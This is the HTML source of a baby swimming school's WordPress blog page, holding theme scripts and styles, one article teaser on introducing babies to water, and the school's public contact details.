captcha."},"captchaSiteKey":"","ajaxNonce":"8df656ec05","pageData":{"type":"page","template":"page","layout":null},"themeSettings":{"smoothScroll":"off","lazyLoading":false,"desktopHeader":{"height":120},"ToggleCaptionEnabled":"disabled","ToggleCaption":"Navigation","floatingHeader":{"showAfter":240,"showMenu":true,"height":90,"logo":{"showLogo":false,"html":"","url":"https:\/\/swimsprouts.com\/"}},"topLine":{"floatingTopLine":{"logo":{"showLogo":false,"html":""}}},"mobileHeader":{"firstSwitchPoint":950,"secondSwitchPoint":650,"firstSwitchPointHeight":70,"secondSwitchPointHeight":60,"mobileToggleCaptionEnabled":"disabled","mobileToggleCaption":"Menu"},"stickyMobileHeaderFirstSwitch":{"logo":{"html":"<img class=\" preload-me\" src=\"https:\/\/swimsprouts.com\/wp-content\/uploads\/2019\/06\/Swim-Sprouts_120.jpg\" srcset=\"https:\/\/swimsprouts.com\/wp-content\/uploads\/2019\/06\/Swim-Sprouts_120.jpg 120w, https:\/\/swimsprouts.com\/wp-content\/uploads\/2019\/06\/Swim-Sprouts_160.jpg 160w\" width=\"120\" height=\"92\"   sizes=\"120px\" alt=\"SwimSprouts\" \/>"}},"stickyMobileHeaderSecondSwitch":{"logo":{"html":"<img class=\" preload-me\" src=\"https:\/\/swimsprouts.com\/wp-content\/uploads\/2019\/06\/Swim-Sprouts_120.jpg\" srcset=\"https:\/\/swimsprouts.com\/wp-content\/uploads\/2019\/06\/Swim-Sprouts_120.jpg 120w, https:\/\/swimsprouts.com\/wp-content\/uploads\/2019\/06\/Swim-Sprouts_160.jpg 160w\" width=\"120\" height=\"92\"   sizes=\"120px\" alt=\"SwimSprouts\" \/>"}},"sidebar":{"switchPoint":970},"boxedWidth":"1280px"},"VCMobileScreenWidth":"778"};
var dtShare = {"shareButtonText":{"facebook":"Share on Facebook","twitter":"Tweet","pinterest":"Pin it","linkedin":"Share on Linkedin","whatsapp":"Share on Whatsapp"},"overlayOpacity":"75"};
/* ]]> */
</script>
<script type='text/javascript' src='https://swimsprouts.com/wp-content/themes/dt-the7/js/above-the-fold.min.js?ver=11.8.1' id='dt-above-fold-js'></script>
<script type='text/javascript' src='https://swimsprouts.com/wp-content/plugins/Ultimate_VC_Addons/assets/min-js/ultimate-params.min.js?ver=3.19.15' id='ultimate-vc-addons-params-js'></script>
<link rel="https://api.w.org/" href="https://swimsprouts.com/wp-json/" /><link rel="alternate" type="application/json" href="https://swimsprouts.com/wp-json/wp/v2/pages/46" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://swimsprouts.com/xmlrpc.php?rsd" />
<link rel="alternate" type="application/json+oembed" href="https://swimsprouts.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fswimsprouts.com%2Fnews%2F" />
<link rel="alternate" type="text/xml+oembed" href="https://swimsprouts.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fswimsprouts.com%2Fnews%2F&#038;format=xml" />
<style>.cmplz-hidden{display:none!important;}</style><meta name="generator" content="Powered by WPBakery Page Builder - drag and drop page builder for WordPress."/>
<meta name="generator" content="Powered by Slider Revolution 6.6.15 - responsive, Mobile-Friendly Slider Plugin for WordPress with comfortable drag and drop interface." />
<script type="text/javascript" id="the7-loader-script">
document.addEventListener("DOMContentLoaded", function(event) {
	var load = document.getElementById("load");
	if(!load.classList.contains('loader-removed')){
		var removeLoading = setTimeout(function() {
			load.className += " loader-removed";
		}, 300);
	}
});
</script>
		<link rel="icon" href="https://swimsprouts.com/wp-content/uploads/2019/08/ST-favicon16.png" type="image/png" sizes="16x16"/><link rel="icon" href="https://swimsprouts.com/wp-content/uploads/2019/08/ST-favicon32.png" type="image/png" sizes="32x32"/><script>function setREVStartSize(e){
			//window.requestAnimationFrame(function() {
				window.RSIW = window.RSIW===undefined ? window.innerWidth : window.RSIW;
				window.RSIH = window.RSIH===undefined ? window.innerHeight : window.RSIH;
				try {
					var pw = document.getElementById(e.c).parentNode.offsetWidth,
						newh;
					pw = pw===0 || isNaN(pw) || (e.l=="fullwidth" || e.layout=="fullwidth") ? window.RSIW : pw;
					e.tabw = e.tabw===undefined ? 0 : parseInt(e.tabw);
					e.thumbw = e.thumbw===undefined ? 0 : parseInt(e.thumbw);
					e.tabh = e.tabh===undefined ? 0 : parseInt(e.tabh);
					e.thumbh = e.thumbh===undefined ? 0 : parseInt(e.thumbh);
					e.tabhide = e.tabhide===undefined ? 0 : parseInt(e.tabhide);
					e.thumbhide = e.thumbhide===undefined ? 0 : parseInt(e.thumbhide);
					e.mh = e.mh===undefined || e.mh=="" || e.mh==="auto" ? 0 : parseInt(e.mh,0);
					if(e.layout==="fullscreen" || e.l==="fullscreen")
						newh = Math.max(e.mh,window.RSIH);
					else{
						e.gw = Array.isArray(e.gw) ? e.gw : [e.gw];
						for (var i in e.rl) if (e.gw[i]===undefined || e.gw[i]===0) e.gw[i] = e.gw[i-1];
						e.gh = e.el===undefined || e.el==="" || (Array.isArray(e.el) && e.el.length==0)? e.gh : e.el;
						e.gh = Array.isArray(e.gh) ? e.gh : [e.gh];
						for (var i in e.rl) if (e.gh[i]===undefined || e.gh[i]===0) e.gh[i] = e.gh[i-1];
											
						var nl = new Array(e.rl.length),
							ix = 0,
							sl;
						e.tabw = e.tabhide>=pw ? 0 : e.tabw;
						e.thumbw = e.thumbhide>=pw ? 0 : e.thumbw;
						e.tabh = e.tabhide>=pw ? 0 : e.tabh;
						e.thumbh = e.thumbhide>=pw ? 0 : e.thumbh;
						for (var i in e.rl) nl[i] = e.rl[i]<window.RSIW ? 0 : e.rl[i];
						sl = nl[0];
						for (var i in nl) if (sl>nl[i] && nl[i]>0) { sl = nl[i]; ix=i;}
						var m = pw>(e.gw[ix]+e.tabw+e.thumbw) ? 1 : (pw-(e.tabw+e.thumbw)) / (e.gw[ix]);
						newh =  (e.gh[ix] * m) + (e.tabh + e.thumbh);
					}
					var el = document.getElementById(e.c);
					if (el!==null && el) el.style.height = newh+"px";
					el = document.getElementById(e.c+"_wrapper");
					if (el!==null && el) {
						el.style.height = newh+"px";
						el.style.display = "block";
					}
				} catch(e){
					console.log("Failure at Presize of Slider:" + e)
				}
			//});
		  };</script>
<style type="text/css" data-type="vc_shortcodes-custom-css">.vc_custom_1490188008012{padding-top: 70px !important;padding-bottom: 70px !important;}.vc_custom_1565532170049{padding-top: 50px !important;padding-bottom: 50px !important;}</style><noscript><style> .wpb_animate_when_almost_visible { opacity: 1; }</style></noscript></head>
<body data-rsssl=1 data-cmplz=1 id="the7-body" class="page-template-default page page-id-46 wp-embed-responsive the7-core-ver-2.7.6 title-off dt-responsive-on right-mobile-menu-close-icon ouside-menu-close-icon mobile-hamburger-close-bg-enable mobile-hamburger-close-bg-hover-enable  fade-medium-mobile-menu-close-icon fade-small-menu-close-icon srcset-enabled btn-flat custom-btn-color custom-btn-hover-color phantom-slide phantom-line-decoration phantom-logo-off floating-mobile-menu-icon top-header first-switch-logo-left first-switch-menu-right second-switch-logo-left second-switch-menu-right right-mobile-menu layzr-loading-on popup-message-style the7-ver-11.8.1 dt-fa-compatibility wpb-js-composer js-comp-ver-6.13.0 vc_responsive">
<!-- The7 11.8.1 -->
<div id="load" class="spinner-loader">
	<div class="load-wrap"><style type="text/css">
    [class*="the7-spinner-animate-"]{
        animation: spinner-animation 1s cubic-bezier(1,1,1,1) infinite;
        x:46.5px;
        y:40px;
        width:7px;
        height:20px;
        fill:var(--the7-beautiful-spinner-color2);
        opacity: 0.2;
    }
    .the7-spinner-animate-2{
        animation-delay: 0.083s;
    }
    .the7-spinner-animate-3{
        animation-delay: 0.166s;
    }
    .the7-spinner-animate-4{
         animation-delay: 0.25s;
    }
    .the7-spinner-animate-5{
         animation-delay: 0.33s;
    }
    .the7-spinner-animate-6{
         animation-delay: 0.416s;
    }
    .the7-spinner-animate-7{
         animation-delay: 0.5s;
    }
    .the7-spinner-animate-8{
         animation-delay: 0.58s;
    }
    .the7-spinner-animate-9{
         animation-delay: 0.666s;
    }
    .the7-spinner-animate-10{
         animation-delay: 0.75s;
    }
    .the7-spinner-animate-11{
        animation-delay: 0.83s;
    }
    .the7-spinner-animate-12{
        animation-delay: 0.916s;
    }
    @keyframes spinner-animation{
        from {
            opacity: 1;
        }
        to{
            opacity: 0;
        }
    }
</style>
<svg width="75px" height="75px" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
	<rect class="the7-spinner-animate-1" rx="5" ry="5" transform="rotate(0 50 50) translate(0 -30)"></rect>
	<rect class="the7-spinner-animate-2" rx="5" ry="5" transform="rotate(30 50 50) translate(0 -30)"></rect>
	<rect class="the7-spinner-animate-3" rx="5" ry="5" transform="rotate(60 50 50) translate(0 -30)"></rect>
	<rect class="the7-spinner-animate-4" rx="5" ry="5" transform="rotate(90 50 50) translate(0 -30)"></rect>
	<rect class="the7-spinner-animate-5" rx="5" ry="5" transform="rotate(120 50 50) translate(0 -30)"></rect>
	<rect class="the7-spinner-animate-6" rx="5" ry="5" transform="rotate(150 50 50) translate(0 -30)"></rect>
	<rect class="the7-spinner-animate-7" rx="5" ry="5" transform="rotate(180 50 50) translate(0 -30)"></rect>
	<rect class="the7-spinner-animate-8" rx="5" ry="5" transform="rotate(210 50 50) translate(0 -30)"></rect>
	<rect class="the7-spinner-animate-9" rx="5" ry="5" transform="rotate(240 50 50) translate(0 -30)"></rect>
	<rect class="the7-spinner-animate-10" rx="5" ry="5" transform="rotate(270 50 50) translate(0 -30)"></rect>
	<rect class="the7-spinner-animate-11" rx="5" ry="5" transform="rotate(300 50 50) translate(0 -30)"></rect>
	<rect class="the7-spinner-animate-12" rx="5" ry="5" transform="rotate(330 50 50) translate(0 -30)"></rect>
</svg></div>
</div>
<div id="page" >
	<a class="skip-link screen-reader-text" href="#content">Skip to content</a>

<div class="masthead inline-header right widgets full-height dividers shadow-mobile-header-decoration small-mobile-menu-icon mobile-menu-icon-bg-on mobile-menu-icon-hover-bg-on dt-parent-menu-clickable show-sub-menu-on-hover"  role="banner">

	<div class="top-bar top-bar-line-hide">
	<div class="top-bar-bg" ></div>
	<div class="left-widgets mini-widgets"><span class="mini-contacts phone show-on-desktop near-logo-first-switch in-top-bar"><i class="fa-fw the7-mw-icon-phone-bold"></i>07436 875 047   </span><span class="mini-contacts email show-on-desktop hide-on-first-switch hide-on-second-switch"><i class="fa-fw the7-mw-icon-mail-bold"></i> info@swimsprouts.com   </span><span class="mini-contacts address show-on-desktop near-logo-first-switch hide-on-second-switch"><i class="fa-fw the7-mw-icon-address-bold"></i>SwimSprouts, Donaldsons, Preston Road, Linlithgow, EH49 6HZ</span></div><div class="right-widgets mini-widgets"><div class="soc-ico show-on-desktop in-top-bar-right in-menu-second-switch disabled-bg disabled-border border-off hover-disabled-bg hover-disabled-border  hover-border-off"><a title="Facebook page opens in new window" href="https://www.facebook.com/SwimSproutsUK/" target="_blank" class="facebook"><span class="soc-font-icon"></span><span class="screen-reader-text">Facebook page opens in new window</span></a><a title="Instagram page opens in new window" href="https://www.instagram.com/swimsproutsuk/ " target="_blank" class="instagram"><span class="soc-font-icon"></span><span class="screen-reader-text">Instagram page opens in new window</span></a></div></div></div>

	<header class="header-bar">

		<div class="branding">
	<div id="site-title" class="assistive-text">SwimSprouts</div>
	<div id="site-description" class="assistive-text">Swim Club</div>
	<a class="" href="https://swimsprouts.com/"><img class=" preload-me" src="https://swimsprouts.com/wp-content/uploads/2019/06/Swim-Sprouts_120.jpg" srcset="https://swimsprouts.com/wp-content/uploads/2019/06/Swim-Sprouts_120.jpg 120w, https://swimsprouts.com/wp-content/uploads/2019/06/Swim-Sprouts_160.jpg 160w" width="120" height="92"   sizes="120px" alt="SwimSprouts" /></a></div>

		<ul id="primary-menu" class="main-nav bg-outline-decoration hover-bg-decoration hover-line-decoration active-bg-decoration active-line-decoration level-arrows-on"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home menu-item-15307 first depth-0"><a href='https://swimsprouts.com/' data-level='1'><span class="menu-item-text"><span class="menu-text">Home</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-15306 depth-0"><a href='https://swimsprouts.com/about-swimsprouts/' data-level='1'><span class="menu-item-text"><span class="menu-text">About us</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-15324 depth-0"><a href='https://swimsprouts.com/donaldsons-school/' data-level='1'><span class="menu-item-text"><span class="menu-text">Donaldsons</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-15308 depth-0"><a href='https://swimsprouts.com/contact/' data-level='1'><span class="menu-item-text"><span class="menu-text">Contact</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-15377 depth-0"><a href='https://swimsprouts.com/faq/' data-level='1'><span class="menu-item-text"><span class="menu-text">FAQ</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-46 current_page_item menu-item-15567 act last depth-0"><a href='https://swimsprouts.com/news/' data-level='1'><span class="menu-item-text"><span class="menu-text">Our Blog</span></span></a></li> </ul>
		<div class="mini-widgets"><div class="mini-search show-on-desktop in-top-bar-right in-top-bar popup-search custom-icon"><form class="searchform mini-widget-searchform" role="search" method="get" action="https://swimsprouts.com/">

	<div class="screen-reader-text">Search:</div>

	
		<a href="" class="submit"><i class=" mw-icon the7-mw-icon-search-bold"></i><span>Search</span></a>
		<div class="popup-search-wrap">
			<input type="text" class="field searchform-s" name="s" value="" placeholder="Type and hit enter …" title="Search form"/>
			<a href="" class="search-icon"><i class="the7-mw-icon-search-bold"></i></a>
		</div>

			<input type="submit" class="assistive-text searchsubmit" value="Go!"/>
</form>
</div></div>
	</header>

</div>
<div role="navigation" class="dt-mobile-header mobile-menu-show-divider">
	<div class="dt-close-mobile-menu-icon"><div class="close-line-wrap"><span class="close-line"></span><span class="close-line"></span><span class="close-line"></span></div></div>	<ul id="mobile-menu" class="mobile-main-nav">
		<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home menu-item-15307 first depth-0"><a href='https://swimsprouts.com/' data-level='1'><span class="menu-item-text"><span class="menu-text">Home</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-15306 depth-0"><a href='https://swimsprouts.com/about-swimsprouts/' data-level='1'><span class="menu-item-text"><span class="menu-text">About us</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-15324 depth-0"><a href='https://swimsprouts.com/donaldsons-school/' data-level='1'><span class="menu-item-text"><span class="menu-text">Donaldsons</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-15308 depth-0"><a href='https://swimsprouts.com/contact/' data-level='1'><span class="menu-item-text"><span class="menu-text">Contact</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-15377 depth-0"><a href='https://swimsprouts.com/faq/' data-level='1'><span class="menu-item-text"><span class="menu-text">FAQ</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-46 current_page_item menu-item-15567 act last depth-0"><a href='https://swimsprouts.com/news/' data-level='1'><span class="menu-item-text"><span class="menu-text">Our Blog</span></span></a></li> 	</ul>
	<div class='mobile-mini-widgets-in-menu'></div>
</div>

<style id="the7-page-content-style">
#main {
  padding-top: 0px;
  padding-bottom: 0px;
}
@media screen and (max-width: 768px) {
  #main {
    padding-top: 0px;
    padding-bottom: 0px;
  }
}

</style>

<div id="main" class="sidebar-none sidebar-divider-vertical">

	
	<div class="main-gradient"></div>
	<div class="wf-wrap">
	<div class="wf-container-main">

	


	<div id="content" class="content" role="main">

		<section class="wpb-content-wrapper"><div class="vc_row wpb_row vc_row-fluid vc_custom_1490188008012"><div class="wpb_column vc_column_container vc_col-sm-12"><div class="vc_column-inner"><div class="wpb_wrapper"><style type="text/css" data-type="the7_shortcodes-inline-css">.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f.centered-layout-list article {
  padding: 0px 0px 70px 0px;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f.dividers-on.centered-layout-list article {
  padding-top: 0px;
  margin-top: 60px;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f.dividers-on.centered-layout-list article:first-of-type {
  margin-top: 0;
  padding-top: 0px;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f.centered-layout-list .post-entry-title-content {
  width: 60%;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f.centered-layout-list .post-entry-content {
  width: 60%;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f.centered-layout-list.dividers-on .post-entry-content:after {
  width: calc(60% - 0px - 0px);
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .paginator {
  margin-top: 30px;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .filter-bg-decoration .filter-categories a.act {
  color: #fff;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f:not(.mode-masonry) article {
  margin-top: 60px;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f:not(.mode-masonry) article:first-of-type,
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f:not(.mode-masonry) article.visible.first:not(.product) {
  margin-top: 0;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f.dividers-on:not(.mode-masonry) article {
  margin-top: 0;
  padding-top: 60px;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f.dividers-on:not(.mode-masonry) article:first-of-type,
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f.dividers-on:not(.mode-masonry) article.visible.first:not(.product) {
  margin-top: 0;
  padding-top: 0;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .post-thumbnail-wrap {
  padding: 0px 0px 30px 0px;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f.enable-bg-rollover .post-thumbnail-rollover:after {
  background: -webkit-linear-gradient();
  background: linear-gradient();
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .gallery-zoom-ico {
  width: 44px;
  height: 44px;
  line-height: 44px;
  border-radius: 100px;
  margin: -22px 0 0 -22px;
  border-width: 0px;
  color: #ffffff;
}
.bottom-overlap-layout-list.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .gallery-zoom-ico {
  margin-top: -22px;
}
.gradient-overlay-layout-list.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .gallery-zoom-ico,
.content-rollover-layout-list.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .gallery-zoom-ico {
  margin: 0 0 10px;
}
.content-align-center.gradient-overlay-layout-list.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .gallery-zoom-ico,
.content-align-center.content-rollover-layout-list.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .gallery-zoom-ico {
  margin: 0 auto 10px;
}
.dt-icon-bg-on.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .gallery-zoom-ico {
  background: rgba(255,255,255,0.3);
  box-shadow: none;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .gallery-zoom-ico > span,
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .gallery-zoom-ico:before {
  font-size: 32px;
  line-height: 44px;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .gallery-zoom-ico > span,
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .gallery-zoom-ico:before {
  color: #ffffff;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .fancy-date a {
  background: #ffffff;
  box-shadow: none;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .fancy-date a * {
  color: #2d2d2d;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .entry-title,
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f.owl-carousel .entry-title {
  margin-bottom: 10px;
  font-size: 34px;
  line-height: 44px;
  font-weight: bold;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .entry-meta {
  margin-bottom: 30px;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .entry-meta * {
  font-size: 13px;
  line-height: 25px;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .portfolio-categories {
  margin-bottom: 30px;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .entry-excerpt {
  margin-bottom: 15px;
  font-size: 14px;
  line-height: 26px;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f:not(.centered-layout-list) .post-entry-content {
  padding: 0px 0px 70px 0px;
}
.blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f:not(.centered-layout-list):not(.content-bg-on):not(.mode-list) .no-img .post-entry-content {
  padding: 0;
}
@media screen and (max-width: 768px) {
  .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f article {
    -ms-flex-flow: column nowrap;
    flex-flow: column nowrap;
    margin-top: 20px;
  }
  .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f.dividers-on article {
    border: none;
  }
  .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f.content-bg-on.centered-layout-list article {
    padding: 0;
  }
  .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f.blog-shortcode.dividers-on article,
  .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f.dividers-on.classic-layout-list article {
    margin-top: 20px;
    padding: 0;
  }
  .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f.blog-shortcode.dividers-on article:first-of-type,
  .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f.dividers-on.classic-layout-list article:first-of-type {
    padding: 0;
  }
  #page .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .post-thumbnail-wrap,
  #page .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .post-entry-content {
    width: 100%;
    margin: 0;
    top: 0;
  }
  #page .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .post-thumbnail-wrap {
    padding: 0;
  }
  #page .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .post-entry-content:after {
    display: none;
  }
  #page .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .project-even .post-thumbnail-wrap,
  #page .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f.centered-layout-list .post-thumbnail-wrap {
    -ms-flex-order: 0;
    order: 0;
  }
  #page .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f.centered-layout-list .post-entry-title-content {
    -ms-flex-order: 1;
    order: 1;
    width: 100%;
    padding: 20px 20px 0;
  }
  #page .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f.centered-layout-list .post-entry-content {
    -ms-flex-order: 2;
    order: 2;
    padding-top: 0;
  }
  #page .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .fancy-categories {
    top: 10px;
    left: 10px;
    bottom: auto;
    right: auto;
  }
  #page .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .fancy-date a {
    top: 10px;
    right: 10px;
    left: auto;
    bottom: auto;
  }
  #page .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .post-entry-content {
    padding: 20px;
  }
  #page .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .entry-title {
    margin: 3px 0 5px;
    font-size: 20px;
    line-height: 26px;
  }
  #page .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .entry-meta {
    margin: 5px 0 5px;
  }
  #page .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .entry-excerpt {
    margin: 15px 0 0;
  }
  #page .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .post-details {
    margin: 5px 0 10px;
  }
  #page .blog-shortcode.blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f .post-details.details-type-link {
    margin-bottom: 2px;
  }
}
</style><div class="articles-list blog-shortcode mode-list blog-list-shortcode-id-a0b97e7fc00fdd02151ae787624a923f centered-layout-list dividers-on jquery-filter scale-img dt-icon-bg-off circle-fancy-style loading-effect-fade-in" data-cur-page="1" data-post-limit="5" data-pagination-mode="load-more"><article class="post project-odd visible post-15539 type-post status-publish format-image has-post-thumbnail hentry category-lifestyle-hobby tag-blog post_format-post-format-image category-4 description-off" data-name="How to Introduce Your Baby to Water" data-date="2022-01-14T10:18:00+00:00">
<div class="post-entry-title-content">
	<h3 class="entry-title">
		<a href="https://swimsprouts.com/2022/01/14/how-to-introduce-your-baby-to-water/" title="How to Introduce Your Baby to Water" rel="bookmark">How to Introduce Your Baby to Water</a>
	</h3>

	<div class="entry-meta"><span class="category-link"><a href="https://swimsprouts.com/category/lifestyle-hobby/" >Lifestyle &amp; Hobby</a></span><a class="author vcard" href="https://swimsprouts.com/author/admin-2/" title="View all posts by admin" rel="author">By <span class="fn">admin</span></a><a href="https://swimsprouts.com/2022/01/14/" title="10:18 am" class="data-link" rel="bookmark"><time class="entry-date updated" datetime="2022-01-14T10:18:00+00:00">January 14, 2022</time></a><a href="https://swimsprouts.com/2022/01/14/how-to-introduce-your-baby-to-water/#respond" class="comment-link" >Leave a comment</a></div></div>


<div class="post-thumbnail-wrap">
	<div class="post-thumbnail">

		<div class="fancy-date"><a title="10:18 am" href="https://swimsprouts.com/2022/01/14/"><span class="entry-month">Jan</span><span class="entry-date updated">14</span><span class="entry-year">2022</span></a></div>
		<span class="fancy-categories"><a href="https://swimsprouts.com/category/lifestyle-hobby/" rel="category tag">Lifestyle &amp; Hobby</a></span>
		<a href="https://swimsprouts.com/2022/01/14/how-to-introduce-your-baby-to-water/" class="post-thumbnail-rollover layzr-bg layzr-bg" ><img class="blog-thumb-lazy-load preload-me lazy-load aspect" src="data:image/svg+xml,%3Csvg%20xmlns%3D&#39;http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg&#39;%20viewBox%3D&#39;0%200%201000%20333&#39;%2F%3E" data-src="https://swimsprouts.com/wp-content/uploads/2019/07/SP_newborn-1000x333.jpg" data-srcset="https://swimsprouts.com/wp-content/uploads/2019/07/SP_newborn-1000x333.jpg 1000w" loading="eager" style="--ratio: 1000 / 333" sizes="(max-width: 1000px) 100vw, 1000px" alt="" title="SP_newborn" width="1000" height="333"  /></a>
	</div>
</div>


<div class="post-entry-content">

	<div class="entry-excerpt"><p>Making water play fun will help to give your baby confidence in water and will be a great foundation for our baby swimming lessons.</p>
</div>
	
<a href="https://swimsprouts.com/2022/01/14/how-to-introduce-your-baby-to-water/" class="dt-btn-s dt-btn post-details details-type-btn" aria-label="Read more about How to Introduce Your Baby to Water">Read Article<i class="dt-icon-the7-arrow-03" aria-hidden="true"></i></a>

</div></article><div class="paginator paginator-more-button">
				<a class="button-load-more " href="javascript:void(0);" data-dt-page="1" ><span class="stick"></span><span class="stick"></span><span class="stick"></span><span class="button-caption">Load more</span></a>
			</div></div></div></div></div></div><div id="Swimsprouts-contact" data-vc-full-width="true" data-vc-full-width-init="false" class="vc_row wpb_row vc_row-fluid vc_custom_1565532170049"><div class="wpb_column vc_column_container vc_col-sm-6"><div class="vc_column-inner"><div class="wpb_wrapper">
	<div class="wpb_text_column wpb_content_element " >
		<div class="wpb_wrapper">
			<h2><span style="color: #233a61;">Contact SwimSprouts</span></h2>
<p><span style="color: #233a61;">Address:</span></p>
<p><span style="color: #005000;">SwimSprouts,</span><br />
<span style="color: #005000;">48 Eastfield,</span><br />
<span style="color: #000000;"><span style="color: #006000;">Edinburgh,</span></span><br />
<span style="color: #000000;">EH15 2PN</span></p>
<h3><span style="color: #233a61;"><strong>Tel: 07436 875 047</strong></span></h3>
<h3><span style="color: #233a61;">Email: <a style="color: #233a61;" href="mailto:info@swimsprouts.com">info@swimsprouts.com</a></span></h3>
<p><span style="color: #233a61;"><div class="gap" style="line-height: 15px; height: 15px;"></div></span></p>

		</div>
	</div>
</div></div></div><div class="wpb_column vc_column_container vc_col-sm-6"><div class="vc_column-inner"><div class="wpb_wrapper">
	<div class="wpb_text_column wpb_content_element " >
		<div class="wpb_wrapper">
			<p><img decoding="async" fetchpriority="high" class="alignnone size-medium wp-image-15216 aligncenter" src="https://swimsprouts.com/wp-content/uploads/2019/06/LogoFoot-300x233.png" alt="" width="300" height="233" srcset="https://swimsprouts.com/wp-content/uploads/2019/06/LogoFoot-300x233.png 300w, https://swimsprouts.com/wp-content/uploads/2019/06/LogoFoot.png 500w" sizes="(max-width: 300px) 100vw, 300px" /></p>

		</div>
	</div>
